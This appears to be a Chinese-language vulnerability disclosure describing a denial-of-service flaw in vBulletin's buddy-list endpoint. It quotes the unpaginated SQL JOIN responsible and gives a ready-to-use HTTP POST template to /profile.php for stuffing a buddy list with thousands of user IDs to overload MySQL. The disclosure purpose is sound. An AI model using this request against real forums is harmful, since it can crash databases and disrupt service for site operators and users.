/misc.php?do=buddylist 端点执行一个单一的、大型 JOIN 查询,该查询检索所有好友及其用户和会话信息,以检查在线状态。由于该查询没有分页或结果限制地处理整个好友列表,因此当列表增大时,它会变得极其消耗资源,并可能使数据库过载。
此问题易于利用,且设置要求最低。除了基本用户帐户之外,不需要任何特殊权限。只需膨胀好友列表,就足以给数据库带来严重压力。
此 SQL 查询检索好友详细信息以及会话信息,以检查每个好友的在线状态。由于它处理整个好友列表,并为每个条目与会话数据 JOIN,因此查询变得非常大且消耗资源。
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
可以通过向 /profile.php POST 请求并携带 listbits 参数来填充批量好友列表。可以重复此操作,向好友列表中添加数千个用户 ID:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
在大型论坛上,这可能导致严重的查询延迟,甚至导致 MySQL 实例崩溃。